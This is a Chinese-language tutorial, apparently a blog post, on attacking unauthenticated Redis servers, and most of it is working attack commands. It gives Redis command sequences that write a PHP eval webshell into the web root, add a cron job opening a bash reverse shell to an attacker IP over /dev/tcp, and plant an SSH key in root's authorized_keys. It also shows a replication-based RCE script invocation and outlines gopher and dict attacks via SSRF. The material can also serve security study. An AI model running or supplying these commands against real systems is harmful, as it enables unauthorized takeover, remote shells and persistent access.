redis安装及配置
关闭防护模式
 
 修改成 0.0.0.0 ,修改白名单为任意IP地址
 
 redis在设有防护模式的场景下,无法输入有效命令
 且flushall为删除Redis数据库数据指令,在实战中切勿使用,牢底坐穿术!
 
攻击利用
redis基本命令
写入WebShell
set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save


写入计划任务
先在自己的服务器上监听一个端口
nc -lvnp 7999
然后执行命令:
redis-cli -h 192.168.1.108
set  xx   "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

 ## 写入 SSH公钥
## 写入 SSH公钥
在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
$ redis-cli -h ip -x set crackit
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys " //必须为authorized_keys,写死在redis.conf配置文件里的
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i  id_rsa ip

 
redis 4.x/5.x 主从复制导致的命令执行
redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
 漏洞环境采用的是vulhub
 redis主从复制命令执行漏洞脚本下载地址
 脚本命令:
python redis-master.py -r target-ip -p 6379 -L local-host -P 8888 -f RedisModulesSDK/exp.so -c "id"

利用gopher协议打redis
在实战中经常会遇到SSRF漏洞,可利用gopher协议,结合redis未授权,对服务器进行写入Webshell或者定时任务,这里仅简述用法,如何结合SSRF需考虑实际场景
 脚本下载地址
 在Gopherus-master/scripts文件夹中找到Redis.py
 default 修改值为 “<?php eval($_GET['cmd']); ?>”
  利用脚本生成POC
利用脚本生成POC 使用curl写入Webshell
使用curl写入Webshell
 测试漏洞攻击成功
测试漏洞攻击成功
 
利用dict协议打redis
dict探测端口开放情况
 对于未开放的端口,均会回复:
 Failed to connect to 192.168.121.152 port xxxx after 2047 ms: Couldn’t connect to server
  dict操作redis,举一反三同样也可以使用dict对redis服务器写入Webshell、定时任务等,,这里不再赘述。
dict操作redis,举一反三同样也可以使用dict对redis服务器写入Webshell、定时任务等,,这里不再赘述。
 对于空格,可以使用URFL编码"%20"或者":"替代
 










